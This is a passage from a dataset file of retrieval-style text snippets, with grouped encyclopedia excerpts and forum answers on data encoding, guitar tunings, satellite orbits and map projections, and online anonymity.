which it can represent), though", "initial code width, starting with the code immediately following the clear code. Packing order Since the codes emitted typically do not fall on byte boundaries, the encoder and decoder must agree on how codes are packed into bytes. The two common methods are LSB-first (\"least significant bit first\") and MSB-first (\"most significant bit first\"). In LSB-first packing, the first code is aligned so that the least significant bit of the code falls in the least significant bit of the first stream byte, and if the code has more than 8 bits, the high-order bits left over are aligned", "Electronic color code An electronic color code is used to indicate the values or ratings of electronic components, usually for resistors, but also for capacitors, inductors, diodes and others. A separate code, the 25-pair color code, is used to identify wires in some telecommunications cables. Different codes are used for wire leads on devices such as transformers or in building wiring. History The electronic color code was developed in the early 1920s by the Radio Manufacturers Association (RMA), later the Radio Electronics Television Manufacturers' Association (RETMA), now part of the Electronic Industries Alliance (EIA) Therefore, the code was", "Lempel–Ziv–Welch Algorithm The scenario described by Welch's 1984 paper encodes sequences of 8-bit data as fixed-length 12-bit codes. The codes from 0 to 255 represent 1-character sequences consisting of the corresponding 8-bit character, and the codes 256 through 4095 are created in a dictionary for sequences encountered in the data as it is encoded. At each stage in compression, input bytes are gathered into a sequence until the next character would make a sequence with no code yet in the dictionary. The code for the sequence (without that character) is added to the output, and a new", "code is a total function mapping each symbol from to a sequence of symbols over , and the extension of to a homomorphism of into , which naturally maps each sequence of source symbols to a sequence of target symbols, is referred to as its extension. Classes of variable-length codes Variable-length codes can be strictly nested in order of decreasing generality as non-singular codes, uniquely decodable codes and prefix codes. Prefix codes are always uniquely decodable, and these in turn are always non-singular:", "encoder works with a smaller range of numbers at any given time. After some number of digits have been encoded, the leftmost digits will not change. In the example after encoding just three symbols, we already knew that our final result would start with \"2\". More digits are shifted in on the right as digits on the left are sent off. This is illustrated in the following code:\nint low = 0;int range = 100000;void Run(){\nEncode(0, 6, 10);// A\nEncode(0, 6, 10);// A\nEncode(6, 2, 10);// B\nEncode(0, 6, 10);// A\nEncode(8, 2, 10);// <EOM>\n\n// emit final digits - see below\nwhile (range < 10000)\nEmitDigit();\n\nlow +=", "geared to aid computer programming. The letter characters were in numerical order of code point, so an alphabetical sort could be achieved simply by sorting the data numerically. The code point for corresponding upper and lower case letters differed only by the value of bit 6, allowing a mix of cases to be sorted alphabetially if this bit was ignored. Other codes were introduced, notably IBM's EBCDIC derived from the punched card method of input, but it was ASCII and its derivatives that won out as the lingua franca of computer information exchange. ASCII extension and Unicode", "encodings (covering different scripts), where many characters share the same codes in most or all those code pages. Well-known code page suites are \"Windows\" (based on Windows-1252) and \"IBM\"/\"DOS\" (based on code page 437), see Windows code page for details. Most, but not all, encodings referred to as code pages are single-byte encodings (but see octet on byte size.)\nIBM's Character Data Representation Architecture (CDRA) designates with coded character set identifiers (CCSIDs) and each of which is variously called a \"charset\", \"character set\", \"code page\", or \"CHARMAP\".\nThe term \"code page\" does not occur in Unix or Linux where \"charmap\" is preferred,", "two numbers together would have one opcode; the command to multiply them would have a different opcode, and so on. The simplest computers are able to perform any of a handful of different instructions; the more complex computers have several hundred to choose from, each with a unique numerical code. Since the computer's memory is able to store numbers, it can also store the instruction codes. This leads to the important fact that entire programs (which are just lists of these instructions) can be represented as lists of numbers and can themselves be manipulated inside the computer in the same", "Code Variable-length codes Codes that encode each source (clear text) character by a code word from some dictionary, and concatenation of such code words give us an encoded string. Variable-length codes are especially useful when clear text characters have different probabilities; see also entropy encoding.\nA prefix code is a code with the \"prefix property\": there is no valid code word in the system that is a prefix (start) of any other valid code word in the set. Huffman coding is the most known algorithm for deriving prefix codes. Prefix codes are widely referred to as \"Huffman codes\" even when the", "the early stages of Postal automated mail processing the B code was used to \"upgrade\" mail that had been coded only with a 5-digit \"A\" code. This barcode was only found on mail that received a 5-digit barcode on the initial coding by an OCR. Now obsolete.\nA 9 digit (plus check digit) barcode, containing the ZIP Code and ZIP+4 Code, referred to as the \"C\" code. 52 bars total. The 9-digit barcode enabled the sorting of mail to the individual delivery carrier, and in some cases into a semblance of delivery sequence.\nAn 11 digit (plus check digit) barcode, containing the", "some applications use charset detection to attempt to guess what encoding was used. Control codes ASCII reserves the first 32 codes (numbers 0–31 decimal) for control characters known as the \"C0 set\": codes originally intended not to represent printable information, but rather to control devices (such as printers) that make use of ASCII, or to provide meta-information about data streams such as those stored on magnetic tape. They include common characters like the newline and the tab character.\nIn 8-bit character sets such as Latin-1 and the other ISO 8859 sets, the first 32 characters of the \"upper half\" (128 to" ]

[ "Classical traines classical guitarist here. It's completely ergonomic. \n\nTo start out, all of your Barre chords are mathematically formed. \n\nYour strings go up by a 4th, another 4th, another 4th, a major 3rd, and then another 4th. This makes your chords completely mathematically and easy to find. \n\nWhen you make a barre chord, the E Barre chord is the same shape as it is to make the A major chord on a open set. You just have to raise the top string of the chord one half step in order to to maintain the same intervallic relationship. \n\nIt's basically a way to be able to play any chord you want using the same barre shape all the way up the guitar. The basic D chord is the same shape as the basic E chord, but because it has moved up a couple of strings, it looks different because of the Major 3rd interval between G and B and not a 4th, like the rest.\n\nAnother thing is that historically, original Spanish gut string guitars sound of open strings paled in comparison to fretted. Play a B note on the 4th fret of the G string sounded better than the open B string, so they needn't worry about how open strumming sounds like \n\nTl;Dr it's mathematical and ergonomic and people didn't use open strings often when the first guitars were made", "Here's how I explain it to my students: \nThere are other tunings like open G and open E and DADGAD, which make it very easy to play in a certain key, but very difficult to play in another key. \nStandard tuning does the best job of making it equally difficult to play in all keys.\n\nBTW, \"trash\" is an awfully strong word. The only reason it sounds strange is that open A string next to the low E. If you skip over the A, you have a very nice Em7 chord. \nIt sounds even better if you play the B note on the A string (2nd fret.) \nThose low 4th interval sounds, like E and A are always a bit challenging because they want to resolve to a smoother interval, like a 5th or a 3rd." ]

[ "placed on the instrument, because it was known to play seventeen notes or more. Because the guitar had a fifth string, it was capable of playing that amount of notes. The guitars strings were tuned in unison, so, in other words, it was tuned by placing a finger on the second fret of the thinnest string and tuning the guitar bottom to top. The strings were a whole octave apart from one another, which is the reason for the different method of tuning. Because it was such so different, there was major controversy as to who created the five", "Open B tuning Open B Tuning is an open tuning for guitar. The open string notes in this tuning are B-F♯-B-F♯-B-D♯. It uses the three notes that form the triad of a B major chord: B, the root note; F♯, the perfect fifth; and D♯ the major third.\nWhen the guitar is strummed without fretting any of the strings a B major chord is sounded. This means that any major chord can be easily created using one finger, fretting all the strings at once.", "allow for alternate tunings at the touch of a button.\nOn almost all modern electric guitars, the bridge has saddles that are adjustable for each string so that intonation stays correct up and down the neck. If the open string is in tune, but sharp or flat when frets are pressed, the bridge saddle position can be adjusted with a screwdriver or hex key to remedy the problem. In general, flat notes are corrected by moving the saddle forward and sharp notes by moving it backwards. On an instrument correctly adjusted for intonation, the actual length of each string from the", "standard tuning (from low to high) is F#, B, E, A, D, G, B, E. Many prefer to tune the F# to a low E (E1), the same note as the lowest string on a four-string electric bass in standard tuning, and providing the guitar with a fuller sound by having three different E strings.\nLike the seven-string, the first mass-produced eight-string guitar was made by Ibanez guitars in Japan; the RG2228. Scale length The main design issue faced with an eight-string guitar is tuning stability with the lower strings. This is due to the neck being constructed too short, bridge", "Landreth, Keith Richards and other open-G masters often lower the second string slightly so the major third is in tune with the overtone series.\nRepetitive open-tunings are used for two classical non-Spanish guitars. For the English guitar, the open chord is C major (C–E–G–C–E–G); for the Russian guitar, which has seven strings, G major (G–B–D–G–B–D–G). \nWhen the open strings constitute a minor chord, the open tuning may sometimes be called a cross-note tuning. Open D The open D tuning (D–A–D–F♯–A–D), also called “Vestopol” tuning, is one of the most common open tunings used by European and American guitarists working with alternative tunings.", "chord when strummed, then thought to be an \"unorthodox tuning\". This was known as \"slack-key\" because some of the strings were slackened to tune to a chord. To change chords, they used some smooth object, usually a piece of pipe or metal, sliding it over the strings to the fourth or fifth position, easily playing a three-chord song. To make playing easier, they laid the guitar across the lap and played it while sitting. The problem with playing a traditional Spanish guitar this way was that the steel tone bar strikes against the frets making an unpleasant sound unless played", "guitar body. The bridge rotates around a pivot point counter-clockwise and the tension in each string decreases, lowering the pitch of each string. The sound of any notes being played becomes flat. While the tension of the strings decreases, the tension of the springs increases. It is the balance between string-tension and spring-tension, as well as the fact that the strings end at the bridge saddles and nut (eliminating \"play\" in the string, which would negatively affect tuning), that brings the strings reliably back into tune when force on the bar is removed.\nPosition III illustrates the position of the bridge", "tuning towards the key of the piece, so that the tonic and dominant chords will have a clear, resonant sound. However, since this compromise may lead to muddy-sounding chords in sections of a piece that stray from the main key (e.g., a bridge section that modulates a semitone down), some performers choose to make a broader compromise, and \"split the difference\" so that all chords will sound acceptable. Mode-locking Other stringed instruments such as the violin, viola, cello, and double bass also exhibit inharmonicity when notes are plucked using the pizzicato technique. However, this inharmonicity disappears when the strings are", "it did not spell the end of tuning problems for guitarists. Even if an electronic tuner indicates that the guitar is \"perfectly\" in tune, some chords may not sound in tune when they are strummed, either due to string inharmonicity from worn or dirty strings, a misplaced fret, a mis-adjusted bridge, or other problems. Due to the range of factors in play, getting a guitar to sound in tune is an exercise in compromise. \"Worn or dirty strings are also inharmonic and harder to tune\", a problem that can be partially resolved by cleaning strings.\nSome performers choose to focus the", "Open C tuning Open C tuning is an open tuning for guitar. The open-string notes form a C major chord, which is the triad (C,E,G) having the root note C, the major third (C,E), and the perfect fifth (C,G). When the guitar is strummed without fretting any strings, a C-major chord is sounded. By barring all of the strings for one fret (from one to eleven), one finger suffices to fret the other eleven major-chords. Examples There are several open C tunings. \"C5\" variant C-G-C-G-G-E This open C tuning was used by Soundgarden for songs including Pretty Noose, Burden in My", "3rd bridge Physical explanation and examples On a standard guitar, the string is held above the soundboard by two nodes: the \"nut\" (near the headstock) and the \"bridge\" (near the player's right hand on a standard guitar). A player sounding a note on a standard guitar vibrates a single portion of the string (between the nut and the bridge or between their fretting finger and the bridge).\nIn contrast, a third bridge divides the string into two pieces. When played at one part of a string, the opposed part can resonate in a subharmonic of the struck part, depending on a", "can \"cause stopped notes to stop sharp, meaning they will sound sharper both in terms of pitch and beating, than they \"should\" do. This is distinct from any temperament issue.\" Even if a guitar is built so that there are no \"fret or neck angle errors, inharmonicity can make the simple approach of tuning open strings to notes stopped on the fifth or fourth frets\" unreliable. Inharmonicity also demands that \nsome of the \"octaves may need to be compromised minutely.\" \nWhen strobe tuners became available in the 1970s, and then inexpensive electronic tuners in the 1980s reached the mass market,", "and size to the head of a flat-bladed screwdriver, at the far end. The strings, which are usually of brass, or else a combination of brass and iron, are usually arranged in pairs, like a lute or mandolin. When the key is pressed, the tangent strikes the strings above, causing them to sound in a similar fashion to the hammering technique on a guitar. Unlike in a piano action, the tangent does not rebound from the string; rather, it stays in contact with the string as long as the key is held, acting as both the nut and as the", "Guitar tunings String gauges Some alternative tunings are difficult or even impossible to achieve with conventional sets of guitar strings, which have gauges optimized for standard tuning. With conventional sets, some higher tunings increase string-tension until playing requires significantly more finger-strength and stamina, or even until a string snaps or the guitar is warped; with lower tunings, strings may be loose and buzz. Tone is also negatively affected by unsuitable string gauge.\nGenerally, alternative tunings benefit from re-stringing of the guitar with string gauges chosen to optimize particular tunings by using lighter strings for higher notes (to lower tension)", "tunings for guitar can be fairly frequently found, most typically open tunings where the open strings are tuned to a full major, minor, suspended or extended chord.", "the guitar strings from the standard EADGBE, and this usually means lowering or \"slacking\" several strings. The result is most often a major chord, although it can also be a major-seventh chord, a sixth, or (rarely) a minor. There are examples of slack key played in standard tuning, but the overwhelming majority of recorded examples use altered tunings. The most common slack key tuning, called \"taro patch,\" makes a G major chord. Starting from the standard EADGBE, the high and low E strings are lowered or \"slacked\" to D and the fifth string from A down to G, so the", "strumming the open strings or the strings after they have been barred at one fret with one finger, greatly simplifying major-chord playing. For each such open or barred chord, the overtones reinforce the bass note, increasing the guitar's volume of sound and resonance. In an open overtones-tuning, adjacent strings that differ by a third interval can be tuned in just intonation, resulting in greater consonance than thirds in equal temperament.\nMusic theorist William Sethares has discussed an overtones tuning that uses six higher partials, from fourth to ninth, of the overtone sequence; his tuning is not an open tuning. Sequence of", "tuning, since it allows greater musical flexibility than the earlier pedal setup pioneered by Bud Isaacs. Emmons recalls that he first used this split-pedal innovation on Ernest Tubb's \"Half a Mind (to Leave You)\". Emmons' name is on a US patent for a mechanism to raise and lower the pitch of a string on a steel guitar and return to the original pitch without going out of tune. Prior to his invention, the problem of a string going out of tune after stretching to raise pitch, and loosening to lower the pitch had been a vexing problem in the design", "in the conventional position.\nMany different tunings are used. Some square neck tunings are not recommended for round neck resonator guitars, owing to the high string tension required, which in turn requires the stronger square neck. Slack-key guitar tunings are most suitable for bottleneck playing, and conventional E-A-D-G-B-E guitar tuning is also popular. In bluegrass music The resonator guitar was introduced to bluegrass music by Josh Graves, who played with Flatt and Scruggs, in the mid-1950s. Graves used the hard-driving, syncopated three-finger picking style developed by Earl Scruggs for the five-string banjo. Modern players continue to play the instrument this way,", "repeating notes (or pitch classes) strengthen such notes, often the root or third of the chord. In comparison with standard tuning, each major-chord open-string tuning reinforces different \"overtones and can actually make the guitar sound louder and more resonant\". To explain this resonance and strengthened sound, the example of the overtones on C has been used; and C's overtones is a standard example for explaining the sequence of overtones.\nThe open-string notes form a C major chord, which is the triad (C,E,G) having the root note C, the major third (C,E), and the perfect fifth (C,G). When the guitar", "string will sound brighter than playing the same note(s) on a fretted position (which would have a warmer tone).\nThe instrument's versatility means it can create a variety of tones, but this also makes the instrument harder to learn than a standard acoustic guitar. Fingering notation In guitar scores the five fingers of the right-hand (which pluck the strings) are designated by the first letter of their Spanish names namely p = thumb (pulgar), i = index finger (índice), m = middle finger (mayor), a = ring finger (anular), c = little finger or pinky (meñique/chiquito)\nThe four fingers of the left", "first fretting the initial string (fourth on the downstroke) with the tip of the ring finger, then rolling into the next string by fretting it with the pad of the same finger. In the upstroke, one frets the third string first, reversing the rolling action. Also note that on the lowest and highest strings in the shape, two notes must be played immediately following each other, but on the same string. This is where legato comes into effect, so that the guitarist can sustain a fluid picking motion.\nHowever, the guitarist can sound these notes in the arpeggio through other techniques—including", "string (B1–E2–A2–D3–G3–B3–E4), but other common tunings exist. Many jazz and metal musicians tune in dropped A tuning (A1–E2–A2–D3–G3–B3–E4) for improved bass lines and easier power chords. Choro players usually tune the seventh string up a half-step, to C: C2-E2-A2-D3-G3-B3-E4. The common Russian guitar tunings given above are still in widespread use. And players who prefer an added treble string (instead of an added bass string) usually tune: E2–A2–D3–G3–B3–E4–A4. Uses Seven-string guitars are used in a variety of musical styles including Classical, Jazz, Rock, Progressive Rock, and Heavy Metal. The Seven-string works well in a band setting, as", "String (music) String construction The end of the string that mounts to the instrument's tuning mechanism (the part of the instrument which can be turned to tighten or loosen the tension of the string) is usually plain. Depending on the instrument, the string's other, fixed end may have either a plain, loop, or ball end (a short brass cylinder) that attaches the string at the end opposite the tuning mechanism. When a ball or loop is used with a guitar, this ensures that the string stays fixed in the bridge of the guitar. When a ball or loop is", "traditional tuning or an open tuning. Most early blues players used open tunings, but most modern slide players use both. The major limitation of open tuning is that usually only one chord shape is easily available and is dictated by how the guitar is originally tuned. Two-note intervals can be played by slanting the slide on certain notes.\nIn the sixteenth century, the notes of A–D–G–B–E were adopted as a tuning for guitar-like instruments, and the low E was added later to make E–A–D–G–B–E as the standard guitar tuning. In open tuning, the strings are tuned to sound a chord", "exact halves and the 24th fret (if present) divides the string in half yet again. Every twelve frets represents one octave. This arrangement of frets results in equal tempered tuning. Neck A classical guitar's frets, fretboard, tuners, headstock, all attached to a long wooden extension, collectively constitute its neck. The wood for the fretboard usually differs from the wood in the rest of the neck. The bending stress on the neck is considerable, particularly when heavier gauge strings are used. Neck joint or 'heel' This is the point where the neck meets the body. In the traditional Spanish neck joint", "its open notes (for example {C,E,G♯}), each major-thirds tuning repeats every note in a higher octave, because guitars have six strings. Being regular, M3 tunings repeat each note after two strings: this repetition simplifies the learning of chords and improvisation. Chord inversion is especially simple in major-thirds tuning. Chords are inverted simply by raising one or two notes three strings. The raised notes are played with the same finger as the original notes. Guitars with seven and eight strings Major-thirds tuning has a smaller scope than standard guitar-tuning, and so Patt started using seven-string guitars, which enabled major-thirds tuning to", "of lower-tuned guitars, and subsequent \"down tuning\" of standard EADGBE tuning, reference is sometimes made to the analogous dropping of the lowest string by a full tone (e.g. \"drop A\"). Open tunings An open tuning lets the guitarist play a chord by strumming the open strings (no strings fretted). \nOpen tunings may be chordal or modal. In chordal open tunings, the base chord consists of at least three different pitch classes, and may include all the strings or a subset. The tuning is named for the base chord when played open, typically a major chord, and all similar chords in", "that helps the guitarist to perform a certain type of chord, it is often undesirable for all six strings to sound. When strumming with a plectrum, a guitarist must \"damp\" (mute) unwanted strings with the fretting hand; when a slide or steel is employed, this fretting hand damping is no longer possible, so it becomes necessary to replace plectrum strumming with plucking of individual strings. For this reason, slide guitar and steel guitar playing are very often fingerstyle. Slack-key guitar Slack-key guitar is a fingerpicked style that originated in Hawaii. The English term is a translation of the Hawaiian kī", "this overtones-tuning on The Rolling Stones’s “Honky Tonk Women”, “Brown Sugar” and “Start Me Up”.\nThe seven-string Russian guitar uses the open-G tuning D–G–B–D–G–B–D, which contains mostly major and minor thirds. Minor or “cross-note” tunings Cross-note tunings include a minor third, so giving a minor chord with open strings. Fretting the minor-third string at the first fret produces a major-third, so allowing a one-finger fretting of a major chord. By contrast, it is more difficult to fret a minor chord using an open major-chord tuning.\nCross-note E-minor was used by Bukka White and Skip James. Other open chordal tunings Some guitarists choose" ]

[ "They are in a straight line. But plotted against a two-dimensional map, it will look like a wave.\n\nThere are many possible orbits that a satellite can take in a straight line. However, the only Great Circle orbit that a satellite can take that *won't* look wavy on a 2D map is one that follows the equator. All other Great Circle orbits will appear, on a map, to go up and down.\n\nFind one of those orbits you're talking about, see where it goes. Take a piece of string and wrap it around a globe on that path. You'll see it's actually straight.", "I was thinking about this recently and after reading some explanations, the only way I could understand it was to draw a line around an orange, then peel the skin. For the flat map, a peak on the wave represents the highest point that the line goes on the sphere. From there you'll be able to see how it works." ]

[ "however, in satellite images, the image is formed during the sensor movement along its orbit, therefore, there are multiple projection centers for one image scene and the epipolar line is formed as the epipolar curve. However, in special conditions such as small image tiles, the satellite images could be rectified using the fundamental matrix. Properties The fundamental matrix is of rank 2. Its kernel defines the epipole.", "linearly transformed according to the current position on the screen and e.g. the current zoom level).\nA problem now arises if e.g. also a satellite map shall be shown together with the radar video data. The ‘natural’ geographical projection of a satellite image would be a satellite projection which depends on the satellite orbit, position and further parameters. Now either the satellite image has to be reprojected to a radar projection or the radar video has to use the satellite projection. This geographical re-projection is also called geographical warping or Geo Warping where each image pixel has to be transformed from", "is that the satellite circles the Earth at the same rate as the Earth rotates, so the satellite appears at a fixed point in the sky. Thus satellite dishes can be aimed permanently at that point, and do not need a tracking system to turn to follow a moving satellite. A few satellite TV systems use satellites in a Molniya orbit, a highly elliptical orbit with inclination of +/-63.4 degrees and orbital period of about twelve hours.\nSatellite television, like other communications relayed by satellite, starts with a transmitting antenna located at an uplink facility. Uplink facilities transmit the", "due to unwanted motion of the optical centre, mis-registration errors due to mismodelling\nof the camera, radial distortion and so on. Due to these reasons they propose a blending strategy called multi band blending. Projective layouts For image segments that have been taken from the same point in space, stitched images can be arranged using one of various map projections. Rectilinear Rectilinear projection, where the stitched image is viewed on a two-dimensional plane intersecting the panosphere in a single point. Lines that are straight in reality are shown as straight regardless of their directions on the image. Wide views - around", "Satellite television Technology The satellites used for broadcasting television are usually in a geostationary orbit 37,000 km (23,000 mi) above the earth's equator. The advantage of this orbit is that the satellite's orbital period equals the rotation rate of the Earth, so the satellite appears at a fixed position in the sky. Thus the satellite dish antenna which receives the signal can be aimed permanently at the location of the satellite, and does not have to track a moving satellite. A few systems instead use a highly elliptical orbit with inclination of +/−63.4 degrees and orbital period of about", "the point of intersection of the projection plane with the line of sight. And thus, if the view is not symmetrically placed around it, there will be objects staying unnecessarily farther from it and will be more distorted than they could be (like the pivoted object in figure 2).\nIf the purpose of the perspective is to represent an image as close as possible to the real view, the line of sight should be directed to its center. On a plan drawing, the line of sight should correspond to the bisector of the angle containing the extreme projections of the object(s)", "as crescents, with some detail visible.\nAn observer on Mars would be able to see the Moon orbiting around the Earth, and this would easily be visible to the naked eye. By contrast, observers on Earth cannot see any other planet's satellites with the naked eye, and it was not until soon after the invention of the telescope that the first such satellites were discovered (Jupiter's Galilean moons).\nAt maximum angular separation, the Earth and Moon would be easily distinguished as a double planet, but about one week later they would merge into a single point of light (to the naked eye),", "as it moves across the sky. Occasionally a satellite will 'flare' as its orientation changes relative to the viewer, suddenly increasing in reflectivity. Satellites often grow dimmer and are more difficult to see toward the horizons. Because reflected sunlight is necessary to see satellites, the best viewing times are for a few hours immediately after nightfall and a few hours before dawn. \nGiven the number of satellites now in orbit, a fifteen-minute session of sky watching will generally yield at least one satellite passing overhead.", "Japan. Time exposure photographs The photographs produced were time exposures in which a satellite's track appeared as a long, usually slightly curved, line seen against a background of stars. If the camera were stationary, the tracks of the much more slowly moving stars appeared as much shorter lines, which were portions of arcs about the pole. If the volunteer had a motor-driven polar-axis camera mount that countered the earth's rotation, the stars were represented by dots whose sizes depended on the resolution of the camera lens and the magnitude of the star.\nWith knowledge of the camera's latitude/longitude position and its", "directed to the center of the object in the second position. As the projection plane should always be perpendicular to the line of sight, it should turn along with it, and thus the object would appear exactly as in the first position. Now, even if the object would not keep its face towards the observer but the observer´s line of sight would follow it, the object would appear rotated but still with minimal projection distortion (provided that the projection plane was also rotated).\nThe difference between the images of the same object produced by \"artificial\" perspective projection and by \"natural\"", "satellite images of greater or lesser resolution. On a low-resolution satellite image, for example, one might notice interesting cloud patterns representing cyclones or other large-scale weather phenomena, while in a higher-resolution image, one misses these large-scale atmospheric phenomena but instead notices smaller-scale phenomena, such as the interesting pattern that is the streets of Manhattan. The same is generally true of all data: At different resolutions or granularities, different features and relationships emerge. The aim of granular computing is to try to take advantage of this fact in designing more effective machine-learning and reasoning systems.\nThere are several types", "the objects themselves seem flat. This is because parallax is quantized.\nIllustration of the limits of parallax multiplication, refer to image at right. Ortho viewing method assumed. The line represents the Z axis, so imagine that it is laying flat and stretching into the distance. If the camera is at X point A is on an object at 30 feet. Point B is on an object at 200 feet and point C is on the same object but 1 inch behind B. Point D is on an object 250 feet away. With a normal baseline point A is clearly in the foreground,", "not in a geo-synchronous orbit, there is a risk of the target not being there when the satellite passes over the area again. There is also the possibility of camouflage. For example, the entrance to an underground bunker may be camouflaged with foliage and it would take an arduous examination of the image to find the information needed. Another potential failure is a satellite being unavailable at the time needed because it is being used for other intelligence purposes, and the situation or event of interest is missed. Images can also be misinterpreted, generating misleading information and potentially", "quite different from that of pinhole projection cameras. First, the epipolar line of pushbroom sensor is not straight, but hyperbola-like curve. Second, epipolar 'curve' pair does not exist. However, in some special conditions, the epipolar geometry of the satellite images could be considered as a linear model.", "of terrain can resemble oblique photographs, but not ones taken from the location of the radar. This is because the range coordinate in a radar image is perpendicular to the vertical-angle coordinate of an oblique photo. The apparent entrance-pupil position (or camera center) for viewing such an image is therefore not as if at the radar, but as if at a point from which the viewer's line of sight is perpendicular to the slant-range direction connecting radar and target, with slant-range increasing from top to bottom of the image.\nBecause slant ranges to level terrain vary in vertical angle, each elevation", "large as the Hubble Space Telescope) that had taken the photograph, and when it was taken. Spotting satellites Satellite watching is generally done with the naked eye or with the aid of binoculars since most low Earth orbit satellites move too quickly to be tracked easily by telescope. It is this movement, as the satellite tracks across the night sky, that makes them relatively easy to see. As with any sky-watching pastime, the darker the sky the better, so hobbyists will meet with better success further away from light-polluted urban areas. Because geosynchronous satellites do not move relative", "the other, the rays are crescent-shaped where they reach the earth? Is it for the same reason as that when light shines through a rectangular peep-hole, it appears circular in the form of a cone?\"\nMany philosophers and scientists of the Western world would ponder this question before it became accepted that the circular and crescent-shapes described in this \"problem\" were actually pinhole image projections of the sun. Although a projected image will have the shape of the aperture when the light source, aperture and projection plane are close together, the projected image will have the shape of the light source", "it up are not in orbit around the star, but would be statites—satellites suspended by use of enormous light sails using radiation pressure to counteract the star's pull of gravity. Such constructs would not be in danger of collision or of eclipsing one another; they would be totally stationary with regard to the star, and independent of one another. Because the ratio of radiation pressure to the force of gravity from a star is constant regardless of the distance (provided the satellite has an unobstructed line-of-sight to the surface of its star), such satellites could also vary their distance from", "image is a \"top view\" of a wide belt, and the right image is an \"edge view\" of a narrow belt. Computer simulations of dust in the Kuiper belt suggest that when it was younger, it may have resembled the narrow rings seen around younger stars.", "of such terrain appears as a curved surface, specifically a hyperbolic cosine one. Verticals at various ranges are perpendiculars to those curves. The viewer's apparent looking directions are parallel to the curve's \"hypcos\" axis. Items directly beneath the radar appear as if optically viewed horizontally (i.e., from the side) and those at far ranges as if optically viewed from directly above. These curvatures are not evident unless large extents of near-range terrain, including steep slant ranges, are being viewed.\nWhen viewed as specified above, fine-resolution radar images of small areas can appear most nearly like familiar optical ones, for two reasons.", "power. Usually, a satellite will travel either north or south of the Earth's shadow due to its shifted axis throughout the year. During the equinox, since geostationary satellites are situated above the Equator, they will be put into Earth's shadow for the longest duration all year. Equinoxes on other planets Equinoxes occur on any planet with a tilted rotational axis. A dramatic example is Saturn, where the equinox places its ring system edge-on facing the Sun. As a result, they are visible only as a thin line when seen from Earth. When seen from above – a view seen during", "in the sky which repeat every day, and are therefore simple and meaningful analemmas. They are generally roughly elliptical, teardrop shaped, or figure-8 in shape. Their shapes and dimensions depend on the parameters of the orbits. A subset of geosynchronous satellites are geostationary ones, which ideally have perfectly circular orbits, exactly in the Earth's equatorial plane. A geostationary satellite therefore ideally remains stationary relative to the Earth's surface, staying over a single point on the equator. No real satellite is exactly geostationary, so real ones trace small analemmas in the sky. Since the sizes of the orbits of geosynchronous satellites", "was offered by several companies and organizations. Uses Satellite images have many applications in meteorology, oceanography, fishing, agriculture, biodiversity conservation, forestry, landscape, geology, cartography, regional planning, education, intelligence and warfare. Less mainstream uses include anomaly hunting, a criticized investigation technique involving the search of satellite images for unexplained phenomena. Images can be in visible colors and in other spectra. There are also elevation maps, usually made by radar images. Interpretation and analysis of satellite imagery is conducted using specialized remote sensing software. Public Domain Satellite imaging of the Earth surface is of sufficient public utility that many countries maintain satellite", "image rotated in an attempt to create the illusion.\nIn March 2011, NASA released an image of Mercury's Spitteler and Holberg craters taken by the MESSENGER spacecraft. The image on the left is the original image and the image on the right is the same image rotated in an attempt to remove the illusion.\nIn the image on the left of the Tin Bider crater produced by NASA Earth Observatory's EO-1-based Advanced Land Imager produces a reverse illusion. The crater rises above the surrounding terrain, however the position of the sun makes it appear to be below it.", "the imagery transitions into different imagery of the same area with finer detail, which varies in date and time from one area to the next. The imagery is retrieved from satellites or aircraft. Before the launch of NASA and the USGS's Landsat 8 satellite, Google relied partially on imagery from Landsat 7, which suffered from a hardware malfunction that left diagonal gaps in images. In 2013, Google used datamining to remedy the issue, providing what was described as a successor to the Blue Marble image of Earth, with a single large image of the entire planet. This was achieved by", "to the viewer they can be difficult to find and are not typically sought when satellite watching.\nAlthough to the observer low Earth orbit satellites move at about the same apparent speed as aircraft, individual satellites can be faster or slower; they do not all move at the same speed. Individual satellites never deviate in their velocity (speed and direction). They can be distinguished from aircraft because satellites do not leave contrails, nor have red and green navigation lights. They are lit solely by the reflection of sunlight from solar panels or other surfaces. A satellite's brightness sometimes changes", "\"apparent direct\" motion. A satellite in a direct orbit with an orbital period greater than one day will tend to move from east to west along its ground track, in what is called \"apparent retrograde\" motion. This effect occurs because the satellite orbits more slowly than the speed at which the Earth rotates beneath it. Any satellite in a true retrograde orbit will always move from east to west along its ground track, regardless of the length of its orbital period.\nBecause a satellite in an eccentric orbit moves faster near perigee and slower near apogee, it is possible for a", "above human height. See top-down perspective.\nRecent technological and networking developments have made satellite images more accessible. Microsoft Bing Maps offers direct overhead satellite photos of the entire planet but also offers a feature named Bird's eye view in some locations. The Bird's Eye photos are angled at 40 degrees rather than being straight down. Satellite imaging programs and photos have been described as offering a viewer the opportunity to \"fly over\" and observe the world from this specific angle.\nIn filmmaking and video production, a bird's-eye shot refers to a shot looking directly down on the subject. The perspective is very", "Hemispheric differences Sometimes, when looking at rotating three-dimensional silhouettes, they will suddenly appear to change the direction in which they are rotating, even though nothing about the image has changed. This sudden change is because the silhouette lack any depth cues from shading. Data from an experiment showed that subjects experienced changes more when the image was being processed by their left hemisphere which controls the right side of the visual field.", "identical orbits is known as a satellite cluster or Satellite formation flying.\nIn 2015 Farooq Khan then the President of Samsung Research America published a research paper providing details how a large satellite broadband constellation can be designed." ]

[ "You forgot the period at the end of \"Fuck Ya'll\" Also \"ya'll\" isn't a proper noun, don't capitalize it. ;x", "Anonymity gives you a chance to release your inner douchebag. It also gives you a chance to do something nice/be completely honest that you wouldn't do if you weren't anonymous." ]

[ "place entirely in her head, while those around her are left befuddled by her sudden change of attitude – a concept that begs the question of why our society encourages women to second-guess their self-image in the first place.\"\nJ.R. Kinnard of PopMatters wrote, \"The only people who won't be bored by I Feel Pretty are those whom it offends. It's a gross miscalculation that might mean well, but fails to balance the sharpness and delicacy necessary to tackle the emotional carnage wrought by self-hatred. That it forgets to make us laugh is the final insult.\"\nWriting for Rolling Stone, Peter Travers", "is taken out of context and is not a direct representative of who the individual is. You are allowed to protest against something you believe is wrong but can be punished by your employer for doing so online. Impacts Use of social media by young people has caused significant problems for some applicants who are active on social media when they try to enter the job market. A survey of 17,000 young people in six countries in 2013 found that 1 in 10 people aged 16 to 34 have been rejected for a job because of online comments they made", "written that she \"fears being cast suddenly as one of the 'bad guys' for being insufficiently radical, too nuanced or too forgiving, or for simply writing whose offensive dimensions would be unknown to me at the time of publication\". While it is important to point out misogyny and other forms of discrimination in the realm of the Internet, facing and educating those who may not understand that some of their actions are offensive, it is also important to give others respect and acknowledge others education or lack of. While the internet is a great place for communication, \"Online harassment and", "good people, much loved and admired all over the world. I am, unfortunately, growing used to seeing bad things 